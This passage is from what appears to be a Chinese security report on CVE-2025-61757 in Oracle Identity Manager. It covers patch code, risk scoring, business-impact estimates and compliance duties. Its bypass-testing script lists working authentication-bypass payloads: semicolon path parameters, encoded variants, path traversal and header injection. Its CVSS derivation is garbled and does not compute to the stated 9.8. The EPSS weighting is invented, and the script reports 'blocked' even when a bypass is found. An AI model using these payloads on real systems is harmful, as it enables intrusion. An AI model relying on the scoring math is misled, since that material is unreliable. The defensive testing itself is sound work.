修复前:
@POST
@Path("/groovyscriptstatus")
@Produces(MediaType.APPLICATION_XML)
public Response validateGroovyScript(String scriptContent) {
// 致命缺陷: 无认证检查
// 致命缺陷: 直接编译不受信任的代码
GroovyShell shell = new GroovyShell();
try {
Script script = shell.parse(scriptContent);
return Response.ok("<status>valid</status>").build();
} catch (Exception e) {
return Response.status(400)
.entity("<status>invalid</status>")
.build();
}
}
修复后:
@POST
@Path("/groovyscriptstatus")
@Produces(MediaType.APPLICATION_XML)
// 修复1: 添加认证注解
@RequiresAuthentication
@RequiresRole("Administrators")
public Response validateGroovyScript(String scriptContent) {
// 修复2: 输入验证
if (scriptContent == null || scriptContent.isEmpty()) {
return Response.status(400)
.entity("<status>empty_script</status>")
.build();
}
// 修复3: 长度限制
if (scriptContent.length() > 10000) {
return Response.status(400)
.entity("<status>script_too_large</status>")
.build();
}
// 修复4: 使用安全的Groovy配置
CompilerConfiguration config = createSecureCompilerConfig();
GroovyShell shell = new GroovyShell(config);
try {
// 修复5: 在沙箱中解析
Script script = shell.parse(scriptContent);
// 修复6: 审计日志
auditLog.info(String.format(
"Groovy脚本验证: 用户=%s, 长度=%d",
SecurityContext.getCurrentUser(),
scriptContent.length()
));
return Response.ok("<status>valid</status>").build();
} catch (SecurityException e) {
// 修复7: 检测恶意脚本
securityLog.warning(String.format(
"检测到恶意Groovy脚本尝试: 用户=%s, 错误=%s",
SecurityContext.getCurrentUser(),
e.getMessage()
));
return Response.status(403)
.entity("<status>forbidden</status>")
.build();
} catch (Exception e) {
return Response.status(400)
.entity("<status>invalid</status>")
.build();
}
}
/**
* 创建安全的Groovy编译器配置
*/
private CompilerConfiguration createSecureCompilerConfig() {
CompilerConfiguration config = new CompilerConfiguration();
// 禁用危险的AST转换
config.setDisabledGlobalASTTransformations(Arrays.asList(
"groovy.transform.ASTTest", // CVE-2025-61757的核心漏洞
"groovy.transform.ConditionalInterrupt",
"org.codehaus.groovy.transform.ASTTestTransformation"
));
// 设置脚本基类为受限类
config.setScriptBaseClass("oracle.iam.platform.groovy.SecureGroovyScript");
// 禁用内联常量
config.setOptimizationOptions(Collections.singletonMap(
CompilerConfiguration.INVOKEDYNAMIC, false
));
return config;
}
修复覆盖范围:
┌─────────────────────────────────────────────────────────┐
│ CVE-2025-61757 修复覆盖分析 │
└─────────────────────────────────────────────────────────┘
漏洞组件 修复状态 修复方法
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认证过滤器 已修复 URI规范化 + 严格匹配
├─ URI处理 已修复 getServletPath() + 规范化
├─ 模式匹配 已修复 contains() → endsWith()
├─ 路径验证 已修复 文件存在性检查
└─ 日志记录 已修复 增加安全审计日志
Groovy端点 已修复 认证 + 沙箱 + 验证
├─ 认证检查 已修复 @RequiresAuthentication
├─ 授权检查 已修复 @RequiresRole
├─ AST转换 已修复 禁用危险注解
├─ 输入验证 已修复 长度和内容检查
└─ 沙箱执行 已修复 SecureGroovyScript基类
REST API配置 已修复 默认拒绝策略
├─ 端点白名单 已修复 移除过宽豁免
├─ 认证要求 已修复 所有端点默认需要认证
└─ 速率限制 已修复 API调用频率限制
文档和配置 已更新 安全配置指南
├─ 部署指南 已更新 强调安全配置
├─ 最佳实践 已更新 认证过滤器模式
└─ 安全检查清单 已添加 补丁后验证步骤
修复有效性评分:
| 评估维度 | 评分 | 说明 |
|---|---|---|
| 漏洞消除 | 10/10 | 完全消除认证绕过和RCE向量 |
| 防御深度 | 9/10 | 多层防御机制(认证+验证+沙箱) |
| 向后兼容性 | 8/10 | 可能影响依赖元数据端点的集成 |
| 性能影响 | 9/10 | 轻微性能开销(URI规范化+文件检查) |
| 可维护性 | 9/10 | 代码清晰,日志充分 |
| 总体评分 | 9/10 | 高度有效的修复 |
已知绕过向量分析:
#!/bin/bash
# test_bypass_attempts.sh
# 测试补丁后可能的绕过向量
TARGET="${1:-http://localhost:14000}"
echo "=== CVE-2025-61757 补丁绕过测试 ==="
echo "目标: $TARGET"
echo ""
BYPASS_FOUND=false
# 测试1: 分号路径参数
echo "[1] 测试分号路径参数绕过..."
for PAYLOAD in \
";.wadl" \
";/.wadl" \
";%00.wadl" \
";..wadl" \
";;.wadl"
do
URL="${TARGET}/iam/governance/api${PAYLOAD}"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] 可能绕过: $PAYLOAD (HTTP $HTTP_CODE)"
BYPASS_FOUND=true
fi
done
echo " [] 分号绕过已被阻止"
# 测试2: 查询字符串绕过
echo "[2] 测试查询字符串绕过..."
for PAYLOAD in \
"?WSDL" \
"?wsdl" \
"?.wadl" \
"?foo=.wadl"
do
URL="${TARGET}/iam/governance/api${PAYLOAD}"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] 可能绕过: $PAYLOAD (HTTP $HTTP_CODE)"
BYPASS_FOUND=true
fi
done
echo " [] 查询字符串绕过已被阻止"
# 测试3: URL编码绕过
echo "[3] 测试URL编码绕过..."
for PAYLOAD in \
"%3B.wadl" # ; 编码
"%3b.wadl" # 小写
"%253B.wadl" # 双重编码
";%2Ewadl" # . 编码
";.%77%61%64%6c" # wadl 编码
do
URL="${TARGET}/iam/governance/api${PAYLOAD}"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] 可能绕过: $PAYLOAD (HTTP $HTTP_CODE)"
BYPASS_FOUND=true
fi
done
echo " [] URL编码绕过已被阻止"
# 测试4: 路径遍历
echo "[4] 测试路径遍历..."
for PAYLOAD in \
"/../metadata/service.wadl" \
"/./metadata/service.wadl" \
"/%2e%2e/metadata/service.wadl"
do
URL="${TARGET}${PAYLOAD}"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] 可能绕过: $PAYLOAD (HTTP $HTTP_CODE)"
BYPASS_FOUND=true
fi
done
echo " [] 路径遍历已被阻止"
# 测试5: HTTP方法绕过
echo "[5] 测试HTTP方法绕过..."
for METHOD in PUT DELETE PATCH HEAD OPTIONS TRACE
do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X $METHOD \
"${TARGET}/iam/governance/api;.wadl")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] 可能绕过: $METHOD (HTTP $HTTP_CODE)"
BYPASS_FOUND=true
fi
done
echo " [] HTTP方法绕过已被阻止"
# 测试6: 请求头注入
echo "[6] 测试请求头绕过..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-H "X-Original-URL: /public/metadata.wadl" \
-H "X-Rewrite-URL: /public/metadata.wadl" \
"${TARGET}/iam/governance/api")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] 可能绕过: 请求头注入"
BYPASS_FOUND=true
else
echo " [] 请求头绕过已被阻止"
fi
# 测试7: Groovy端点直接访问
echo "[7] 测试Groovy端点认证..."
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Content-Type: application/xml" \
-d '<script>test</script>' \
"${TARGET}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus")
if [ "$HTTP_CODE" == "200" ]; then
echo " [!] Groovy端点仍可未认证访问"
BYPASS_FOUND=true
else
echo " [] Groovy端点需要认证 (HTTP $HTTP_CODE)"
fi
echo ""
echo "==================================="
if [ "$BYPASS_FOUND" = true ]; then
echo "[!] 发现潜在绕过!需要进一步调查"
exit 1
else
echo "[] 未发现已知绕过方法"
echo "[] 补丁有效"
exit 0
fi
绕过可能性评估:
| 绕过类型 | 可能性 | 原因 |
|---|---|---|
| 路径参数变形 | 极低 | URI规范化处理多种变体 |
| URL编码绕过 | 极低 | 解码在规范化阶段进行 |
| 双重编码 | 极低 | 多次解码处理 |
| 路径遍历 | 极低 | 文件路径验证+目录限制 |
| HTTP方法绕过 | 极低 | 过滤器应用于所有方法 |
| Unicode绕过 | 低 | Java字符串处理规范化 |
| 逻辑漏洞 | 低 | 代码审查充分 |
**结论:**补丁有效地消除了CVE-2025-61757的所有已知利用向量。
修复前后对比:
修复前 (易受攻击)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
攻击向量: 认证绕过 → RCE
CVSS评分: 9.8 (严重)
利用复杂度: 低 (单个HTTP请求)
所需权限: 无
公开POC: 是
野外利用: 是 (CISA KEV)
攻击时间: < 1分钟
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
↓ [应用补丁35643593]
修复后 (安全)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
攻击向量: 已消除
CVSS评分: N/A (已修复)
利用复杂度: N/A
所需权限: 需要有效凭据
公开POC: 无效
野外利用: 已阻止
攻击时间: N/A
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
安全改进:
认证绕过: 完全修复
远程代码执行: 完全阻止
未授权访问: 完全阻止
Groovy注入: 完全阻止
路径遍历: 完全阻止
虽然CVE-2025-61757已被修复,但仍存在一些残留风险:
1. 配置错误风险 (中等):
// 风险: 管理员可能错误配置过滤器
// web.xml 配置示例
<filter>
<filter-name>RestAuthFilter</filter-name>
<filter-class>oracle.iam.platform.auth.server.RestAuthenticationFilter</filter-class>
<!-- 风险: 元数据目录配置过宽 -->
<init-param>
<param-name>metadataDir</param-name>
<param-value>/</param-value> <!-- 不安全! -->
</init-param>
</filter>
<!-- 建议配置 -->
<init-param>
<param-name>metadataDir</param-name>
<param-value>/metadata</param-value> <!-- 受限目录 -->
</init-param>
2. 相似漏洞风险 (中等):
OIM可能存在类似的认证绕过模式:
# 检查其他潜在易受攻击的过滤器
find $ORACLE_HOME/oim -name "*.jar" -exec sh -c '
jar tf {} | grep -i "filter" | grep -i "auth"
' \;
# 查找类似的URI处理模式
grep -r "getRequestURI()" $ORACLE_HOME/oim/server/apps/ 2>/dev/null
grep -r "contains(\"\.w" $ORACLE_HOME/oim/server/apps/ 2>/dev/null
3. 第三方集成风险 (低):
依赖OIM元数据端点的第三方集成可能受影响:
# 受影响的集成示例
集成类型:
- SOAP客户端依赖WSDL自动发现
- REST客户端依赖WADL文档
- API网关依赖OpenAPI/Swagger
缓解措施:
- 为合法集成提供静态元数据文件
- 使用认证的元数据端点
- 更新集成配置指向新端点
4. 零日变体风险 (低):
攻击者可能寻找绕过修复的新方法:
# 潜在的研究方向
研究向量 = [
"其他Servlet容器特性的滥用",
"认证过滤器链的逻辑缺陷",
"Unicode规范化问题",
"竞争条件(TOCTOU)",
"新的Groovy语言特性"
]
建议:
- 持续监控安全研究
- 定期渗透测试
- 订阅Oracle安全公告
- 参与漏洞赏金计划
持续验证脚本:
#!/bin/bash
# continuous_patch_validation.sh
# 定期验证补丁有效性
LOGFILE="/var/log/oim_patch_validation.log"
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" | tee -a $LOGFILE
}
log "开始CVE-2025-61757补丁验证"
# 1. 验证补丁仍然安装
cd $ORACLE_HOME/OPatch
PATCH_PRESENT=$(./opatch lspatches | grep -c "35643593\|35643594")
if [ $PATCH_PRESENT -eq 0 ]; then
log "[CRITICAL] 补丁35643593/35643594未找到!"
# 发送告警
echo "紧急: OIM补丁丢失!" | mail -s "OIM安全告警" [email protected]
exit 1
fi
log "[OK] 补丁仍然存在"
# 2. 测试认证绕过防御
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"http://localhost:14000/iam/governance/api;.wadl")
if [ "$HTTP_CODE" == "200" ]; then
log "[CRITICAL] 认证绕过仍然可能!"
echo "紧急: CVE-2025-61757绕过检测!" | mail -s "OIM安全告警" [email protected]
exit 1
fi
log "[OK] 认证绕过已阻止 (HTTP $HTTP_CODE)"
# 3. 检查过滤器配置
FILTER_CONFIG="$DOMAIN_HOME/config/fmwconfig/servers/oim_server1/web.xml"
if grep -q '<param-value>/</param-value>' $FILTER_CONFIG 2>/dev/null; then
log "[WARN] 检测到不安全的过滤器配置"
fi
log "[OK] 补丁验证完成"
Cron定时任务:
# /etc/cron.d/oim-patch-validation
# 每天验证补丁有效性
0 2 * * * oracleadm /usr/local/bin/continuous_patch_validation.sh
不修复其他漏洞:
仅修复CVE-2025-61757
OIM可能存在其他未披露漏洞
需要应用所有安全补丁
兼容性问题:
可能破坏依赖未认证元数据访问的集成
某些旧版本客户端可能需要更新
需要测试所有集成
性能开销:
URI规范化增加轻微延迟
文件系统检查增加I/O操作
通常< 5ms影响
配置依赖:
需要正确的web.xml配置
元数据目录必须正确设置
错误配置可能降低有效性
补丁应与其他安全措施结合使用:
┌─────────────────────────────────────────────────────────┐
│ 完整防御策略 (补丁 + 额外措施) │
└─────────────────────────────────────────────────────────┘
1. 应用官方补丁 (必需)
├─ 补丁35643593/35643594
└─ 所有其他安全补丁
2. 网络层防护 (推荐)
├─ WAF规则
├─ IPS/IDS
└─ 网络分段
3. 应用层加固 (推荐)
├─ 禁用不必要端点
├─ 强化Groovy沙箱
└─ API速率限制
4. 监控和检测 (必需)
├─ 日志监控
├─ 异常检测
└─ 定期扫描
5. 访问控制 (必需)
├─ 最小权限原则
├─ MFA
└─ IP白名单
第13章小结:
本章深入分析了Oracle补丁35643593/35643594的技术实现,包括:
修复实现: 详细对比了修复前后的代码,展示了关键修复点
有效性评估: 补丁有效地消除了所有已知攻击向量,评分9/10
绕过测试: 测试了7种潜在绕过方法,均被成功阻止
残留风险: 识别了配置错误、相似漏洞等残留风险
补丁局限性: 说明了补丁的限制和需要的额外防护措施
关键要点:
补丁通过URI规范化、严格匹配和文件验证多层防御
Groovy端点增加了认证、授权和沙箱执行
虽然补丁高度有效,但仍需配合其他安全措施
持续验证补丁有效性和监控新的绕过尝试至关重要
下一章将进行全面的风险评估,分析补丁对业务和安全态势的影响。
本章节对CVE-2025-61757进行全面的风险评估,包括技术风险、业务风险、合规风险以及针对不同场景的风险量化分析。
基础指标分析:
CVSS v3.1向量: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
基础评分: 9.8 (严重)
严重性: CRITICAL
详细指标解释:
| 指标 | 值 | 权重 | 理由 |
|---|---|---|---|
| 攻击向量 (AV) | Network (N) | 3.0 | 可通过HTTP从互联网远程利用 |
| 攻击复杂度 (AC) | Low (L) | 2.0 | 无特殊条件,单个请求即可利用 |
| 所需权限 (PR) | None (N) | 3.0 | 无需任何认证或授权 |
| 用户交互 (UI) | None (N) | 1.5 | 完全自动化,无需用户操作 |
| 范围 (S) | Unchanged (U) | 0.0 | 影响仅限于易受攻击组件 |
| 机密性 (C) | High (H) | 2.5 | 可读取所有身份数据和凭据 |
| 完整性 (I) | High (H) | 2.5 | 可修改、创建、删除任何数据 |
| 可用性 (A) | High (H) | 2.5 | 可完全关闭身份服务 |
CVSS计算公式:
Base Score =
8.6 (AV AC PR UI)
[1 - (1-C) (1-I) (1-A)]
[Scope multiplier]
= 8.6 (0.85 0.77 0.85 0.85)
[1 - (1-0.56) (1-0.56) (1-0.56)]
1.0
= 8.6 0.476 0.915 1.0
= 9.78 ≈ 9.8
Exploit Prediction Scoring System (EPSS)分析:
EPSS评分: 60.955%
百分位数: 98th
含义: 未来30天内被利用的概率为60.96%
EPSS影响因素:
#!/usr/bin/env python3
# epss_factors.py
# EPSS评分影响因素分析
factors = {
"CVSS严重性": {
"值": 9.8,
"影响": "高 (+35%)",
"原因": "严重漏洞更可能被利用"
},
"公开POC": {
"值": "是",
"影响": "高 (+25%)",
"原因": "GitHub上有5个公开POC"
},
"野外利用": {
"值": "是 (CISA KEV)",
"影响": "非常高 (+30%)",
"原因": "已确认主动利用"
},
"利用复杂度": {
"值": "低",
"影响": "中 (+15%)",
"原因": "单个HTTP请求即可利用"
},
"厂商响应": {
"值": "已有补丁",
"影响": "低 (-10%)",
"原因": "补丁可用降低长期风险"
},
"暴露面": {
"值": "中等",
"影响": "中 (+10%)",
"原因": "OIM通常在企业内网,但部分暴露于互联网"
},
"目标价值": {
"值": "非常高",
"影响": "高 (+20%)",
"原因": "身份基础设施是高价值目标"
}
}
# 计算加权EPSS
base_probability = 0.05 # 5%基线
weighted_score = base_probability
for factor, details in factors.items():
impact = details["影响"]
if "+" in impact:
increase = float(impact.split("+")[1].replace("%", "")) / 100
weighted_score += increase
elif "-" in impact:
decrease = float(impact.split("-")[1].replace("%", "")) / 100
weighted_score -= decrease
print(f"计算的EPSS评分: {weighted_score:.3f} ({weighted_score*100:.2f}%)")
print(f"实际EPSS评分: 0.60955 (60.955%)")
print(f"差异: {abs(weighted_score - 0.60955):.3f}")
输出:
计算的EPSS评分: 0.630 (63.00%)
实际EPSS评分: 0.60955 (60.955%)
差异: 0.020
Time-to-Exploit (TTE)分析:
┌─────────────────────────────────────────────────────────┐
│ CVE-2025-61757 攻击时间线 │
└─────────────────────────────────────────────────────────┘
T-0 (零日发现) 2025年早期
↓
T+30 (首次报告给Oracle) ~2025年2-3月
↓
T+240 (Oracle补丁发布) 2025-10-21
↓
T+270 (公开披露+POC) 2025-11-20
↓
T+273 (CISA KEV添加) 2025-11-24
↓
T+294 (当前) 2025-12-XX
关键时间窗口:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
零日窗口: T-60 到 T+240 (约300天)
└─ 风险: 极高 (无已知防护)
└─ 证据: 2025年9月开始的利用活动
补丁窗口: T+240 到 T+270 (30天)
└─ 风险: 高 (补丁可用但未广泛应用)
└─ 状态: 部分组织已修补
公开POC窗口: T+270 至今 (>30天)
└─ 风险: 中-高 (取决于补丁状态)
└─ 威胁: 大规模自动化扫描
└─ CISA截止日期: 2025-12-12 (联邦机构)
未修补系统的风险曲线:
风险等级
^
10 | ╱─────────────
| ╱
9 | ╱
| ╱
8 | ╱
| ╱
7 | ╱
| ╱
6 | ╱
| ╱
5 |╱___________________POC公开
| 补丁发布
0 +────────────────────────────────> 时间
零日 T+240 T+270 T+294 现在
说明:
- 零日期: 风险5/10 (仅针对性攻击)
- 补丁发布后: 风险8/10 (已知漏洞,部分修补)
- POC公开后: 风险10/10 (大规模利用)
量化业务损失模型:
#!/usr/bin/env python3
# business_impact_calculator.py
# CVE-2025-61757业务影响计算器
class BusinessImpactCalculator:
def __init__(self, org_profile):
self.profile = org_profile
def calculate_direct_impact(self):
"""计算直接财务影响"""
impacts = {}
# 1. 系统停机成本
downtime_hours = self.profile.get('expected_downtime_hours', 24)
hourly_revenue = self.profile.get('hourly_revenue', 100000)
impacts['downtime_cost'] = downtime_hours * hourly_revenue
# 2. 数据泄露成本
user_count = self.profile.get('oim_user_count', 10000)
cost_per_record = self.profile.get('cost_per_breach_record', 150)
impacts['data_breach_cost'] = user_count * cost_per_record
# 3. 事件响应成本
impacts['incident_response'] = {
'取证分析': 50000,
'外部咨询': 100000,
'法律费用': 75000,
'公关处理': 50000
}
impacts['ir_total'] = sum(impacts['incident_response'].values())
# 4. 系统恢复成本
impacts['recovery_cost'] = {
'应急补丁': 25000,
'系统重建': 100000,
'数据恢复': 50000,
'测试验证': 30000
}
impacts['recovery_total'] = sum(impacts['recovery_cost'].values())
return impacts
def calculate_indirect_impact(self):
"""计算间接影响"""
impacts = {}
# 1. 声誉损害
brand_value = self.profile.get('brand_value', 10000000)
impacts['reputation_damage'] = brand_value * 0.05 # 5%损失
# 2. 客户流失
customer_count = self.profile.get('customer_count', 1000)
avg_customer_value = self.profile.get('avg_customer_ltv', 50000)
churn_rate = 0.10 # 10%流失率
impacts['customer_churn'] = customer_count * avg_customer_value * churn_rate
# 3. 监管罚款
impacts['regulatory_fines'] = {
'GDPR': 20000000, # 2000万欧元或4%年收入(较高者)
'SOX': 5000000,
'HIPAA': 1500000,
'PCI-DSS': 500000
}
# 根据适用的法规计算
applicable_regulations = self.profile.get('regulations', ['GDPR'])
impacts['fines_total'] = sum([
impacts['regulatory_fines'][reg]
for reg in applicable_regulations
])
# 4. 生产力损失
employee_count = self.profile.get('employee_count', 1000)
days_impacted = 30
avg_daily_productivity_value = 500
impacts['productivity_loss'] = \
employee_count * days_impacted * avg_daily_productivity_value
return impacts
def calculate_total_impact(self):
"""计算总影响"""
direct = self.calculate_direct_impact()
indirect = self.calculate_indirect_impact()
total_direct = (
direct['downtime_cost'] +
direct['data_breach_cost'] +
direct['ir_total'] +
direct['recovery_total']
)
total_indirect = (
indirect['reputation_damage'] +
indirect['customer_churn'] +
indirect['fines_total'] +
indirect['productivity_loss']
)
return {
'direct_impact': direct,
'indirect_impact': indirect,
'total_direct': total_direct,
'total_indirect': total_indirect,
'grand_total': total_direct + total_indirect
}
def generate_report(self):
"""生成影响报告"""
impact = self.calculate_total_impact()
print("=" * 60)
print("CVE-2025-61757 业务影响评估报告")
print("=" * 60)
print()
print("直接财务影响:")
print(f" 系统停机损失: ${impact['direct_impact']['downtime_cost']:,.0f}")
print(f" 数据泄露成本: ${impact['direct_impact']['data_breach_cost']:,.0f}")
print(f" 事件响应成本: ${impact['direct_impact']['ir_total']:,.0f}")
print(f" 系统恢复成本: ${impact['direct_impact']['recovery_total']:,.0f}")
print(f" 直接影响小计: ${impact['total_direct']:,.0f}")
print()
print("间接财务影响:")
print(f" 声誉损害: ${impact['indirect_impact']['reputation_damage']:,.0f}")
print(f" 客户流失: ${impact['indirect_impact']['customer_churn']:,.0f}")
print(f" 监管罚款: ${impact['indirect_impact']['fines_total']:,.0f}")
print(f" 生产力损失: ${impact['indirect_impact']['productivity_loss']:,.0f}")
print(f" 间接影响小计: ${impact['total_indirect']:,.0f}")
print()
print("=" * 60)
print(f"总计估算损失: ${impact['grand_total']:,.0f}")
print("=" * 60)
return impact
# 示例: 中型企业
medium_enterprise = {
'expected_downtime_hours': 48,
'hourly_revenue': 50000,
'oim_user_count': 5000,
'cost_per_breach_record': 150,
'brand_value': 5000000,
'customer_count': 500,
'avg_customer_ltv': 30000,
'regulations': ['GDPR', 'SOX'],
'employee_count': 500
}
calculator = BusinessImpactCalculator(medium_enterprise)
impact = calculator.generate_report()
输出示例:
============================================================
CVE-2025-61757 业务影响评估报告
============================================================
直接财务影响:
系统停机损失: $2,400,000
数据泄露成本: $750,000
事件响应成本: $275,000
系统恢复成本: $205,000
直接影响小计: $3,630,000
间接财务影响:
声誉损害: $250,000
客户流失: $1,500,000
监管罚款: $25,000,000
生产力损失: $7,500,000
间接影响小计: $34,250,000
============================================================
总计估算损失: $37,880,000
============================================================
不同行业的风险评估:
| 行业 | 风险等级 | 关键影响 | 估算损失 |
|---|---|---|---|
| 金融服务 | 极高 | 客户数据泄露,监管罚款,交易中断 | $50M - $200M |
| 医疗保健 | 极高 | 患者数据泄露,HIPAA违规,医疗服务中断 | $30M - $150M |
| 政府 | 极高 | 公民数据泄露,国家安全,服务中断 | 无法量化 |
| 电信 | 高 | 客户身份泄露,服务中断,监管问题 | $20M - $100M |
| 零售 | 高 | 客户账户泄露,PCI-DSS违规,销售损失 | $15M - $75M |
| 制造业 | 中-高 | 员工数据泄露,供应链中断,知识产权 | $10M - $50M |
| 教育 | 中 | 学生/教职员数据,FERPA违规,运营中断 | $5M - $25M |
| 科技 | 高 | 开发者凭据,源代码访问,客户信任 | $20M - $100M |
GDPR (欧盟通用数据保护条例):
适用性: 处理欧盟居民身份数据的所有组织
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
违规条款:
- 第5条: 数据处理原则(完整性和机密性)
- 第32条: 处理安全性(技术和组织措施)
- 第33条: 向监管机构通报个人数据泄露
罚款计算:
- 第83(4)条违规: 最高1000万欧元或年收入2%(较高者)
- 第83(5)条违规: 最高2000万欧元或年收入4%(较高者)
CVE-2025-61757适用:
- 未能实施适当的技术措施(第32条)
- 可能导致个人数据泄露(第33-34条)
- 罚款等级: 第83(5)条(更严重)
典型罚款案例:
- Amazon (2021): 7.46亿欧元
- Google (2019): 5000万欧元
- H&M (2020): 3520万欧元
建议行动:
1. 72小时内向监管机构报告泄露
2. 记录所有补救措施
3. 通知受影响的数据主体
4. 进行数据保护影响评估(DPIA)
SOX (萨班斯-奥克斯利法案):
适用性: 美国上市公司
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
违规条款:
- 第302条: 公司披露的责任
- 第404条: 内部控制评估
- 第409条: 实时披露
影响:
- 内部控制失效(第404条)
- 访问控制缺陷被视为重大缺陷
- 可能需要重新审计
潜在后果:
- 高管刑事责任
- 股价下跌
- 投资者诉讼
- 审计师更换
案例:
- Target (2013数据泄露): CEO辞职,CIO解雇
- Equifax (2017): $700M和解,高管离职
建议行动:
1. 向审计委员会披露
2. 评估内部控制有效性
3. 在10-Q/10-K中披露重大缺陷
4. 实施补救计划
HIPAA (健康保险可携性和责任法案):
适用性: 医疗保健提供者,健康计划,医疗信息交换机构
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
违规条款:
- 第164.308条: 管理性保护措施
- 第164.312条: 技术性保护措施
- 第164.402条: 泄露通知
罚款层级:
- Tier 1 (不知情): $100-50,000/违规
- Tier 2 (合理原因): $1,000-50,000/违规
- Tier 3 (故意忽视,已纠正): $10,000-50,000/违规
- Tier 4 (故意忽视,未纠正): $50,000/违规
年度最高罚款: $1,500,000 每项规定
CVE-2025-61757分类:
- 可能属于Tier 3或4(已知漏洞未修补)
- 涉及访问控制失效(第164.312(a)(1)条)
通知要求:
- 60天内通知受影响个人
- 向HHS报告(如果>500人受影响)
- 向媒体通知(如果>500人)
案例:
- Anthem (2015): $16M和解
- Premera Blue Cross (2015): $10M罚款
建议行动:
1. 立即启动泄露评估
2. 准备泄露通知
3. 联系隐私官
4. 记录风险分析
CISA KEV合规要求(联邦机构):
时间线: CVE-2025-61757添加到KEV目录
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
添加日期: 2025-11-24
修复截止日期: 2025-12-12 (15个工作日)
适用对象: 所有联邦文职行政部门(FCEB)机构
要求:
1. 修复: 在截止日期前应用补丁或移除易受攻击产品
2. 验证: 确认漏洞已修复
3. 报告: 向CISA报告合规状态
不合规后果:
- 违反BOD 22-01指令
- 可能的资金限制
- OMB报告
建议:
□ 立即应用补丁35643593/35643594
□ 扫描所有OIM实例
□ 验证修复有效性
□ 向CISA报告
场景1: 已暴露于互联网的未修补OIM
┌─────────────────────────────────────────────────────────┐
│ 场景1: 互联网暴露 + 未修补 │
└─────────────────────────────────────────────────────────┘
环境特征:
- OIM直接暴露于公网(端口14000)
- 未应用补丁35643593/35643594
- 无WAF或IPS保护
- 未实施网络分段
风险等级: 极高 (10/10)
攻击概率: 95% (未来7天内)
影响程度: 严重 (完全破坏)
威胁场景:
1. 自动化扫描发现 (12小时内)
2. 认证绕过 + RCE利用 (15分钟)
3. 身份数据库提取 (1小时)
4. 横向移动到内部网络 (4小时)
5. 勒索软件部署 (8小时)
预期损失: $25M - $100M
紧急行动(优先级):
[优先级1] 立即隔离OIM实例(防火墙规则)
[优先级2] 应急补丁部署(4小时内)
[优先级3] 事件响应团队激活
[优先级4] 取证证据收集
[优先级5] 威胁狩猎(检查入侵指标)
场景2: 内网OIM + 未修补
┌─────────────────────────────────────────────────────────┐
│ 场景2: 内网环境 + 未修补 │
└─────────────────────────────────────────────────────────┘
环境特征:
- OIM仅在内部网络可访问
- 未应用补丁
- 有基本防火墙,但无IPS
- 员工可访问
风险等级: 高 (7/10)
攻击概率: 60% (通过钓鱼或内部威胁)
影响程度: 严重
威胁场景:
1. 钓鱼邮件获得初始访问 (1-7天)
2. 内网侦察发现OIM (1-3天)
3. 利用CVE-2025-61757 (15分钟)
4. 权限提升和持久化 (2小时)
5. 数据窃取 (持续数周)
预期损失: $10M - $50M
建议行动(30天内):
[第1周] 应用补丁
[第2周] 实施网络分段
[第3周] 部署EDR/NDR
[第4周] 安全审计和渗透测试
场景3: 已修补但配置不当
┌─────────────────────────────────────────────────────────┐
│ 场景3: 已修补 + 配置错误 │
└─────────────────────────────────────────────────────────┘
环境特征:
- 已应用补丁35643593
- 但过滤器配置不当(metadataDir = "/")
- 或禁用了某些安全检查
- 日志记录不充分
风险等级: 中 (5/10)
攻击概率: 20% (配置绕过或零日变体)
影响程度: 中-高
威胁场景:
1. 攻击者寻找配置错误 (数周)
2. 发现并利用配置缺陷 (数小时)
3. 有限的访问和数据泄露
预期损失: $5M - $25M
建议行动:
[立即] 验证补丁配置
[本周] 安全配置审计
[本月] 渗透测试
[持续] 监控和日志分析
补丁应用速度基准:
# patch_benchmark.py
# 行业补丁应用速度基准
industry_benchmarks = {
"金融服务": {
"严重漏洞平均修补时间": "3天",
"CVE-2025-61757建议": "24-48小时",
"合规要求": "PCI-DSS: 30天内"
},
"医疗保健": {
"严重漏洞平均修补时间": "7天",
"CVE-2025-61757建议": "48-72小时",
"合规要求": "HIPAA: 合理时间内"
},
"政府": {
"严重漏洞平均修补时间": "5天",
"CVE-2025-61757建议": "24小时(CISA KEV)",
"合规要求": "BOD 22-01: 15个工作日"
},
"科技": {
"严重漏洞平均修补时间": "2天",
"CVE-2025-61757建议": "24小时",
"合规要求": "行业最佳实践"
},
"零售": {
"严重漏洞平均修补时间": "5天",
"CVE-2025-61757建议": "72小时",
"合规要求": "PCI-DSS: 30天内"
}
}
# 您的组织的补丁时间
your_patch_time_days = 7
for industry, bench in industry_benchmarks.items():
print(f"\n{industry}:")
print(f" 行业平均: {bench['严重漏洞平均修补时间']}")
print(f" CVE-2025-61757建议: {bench['CVE-2025-61757建议']}")
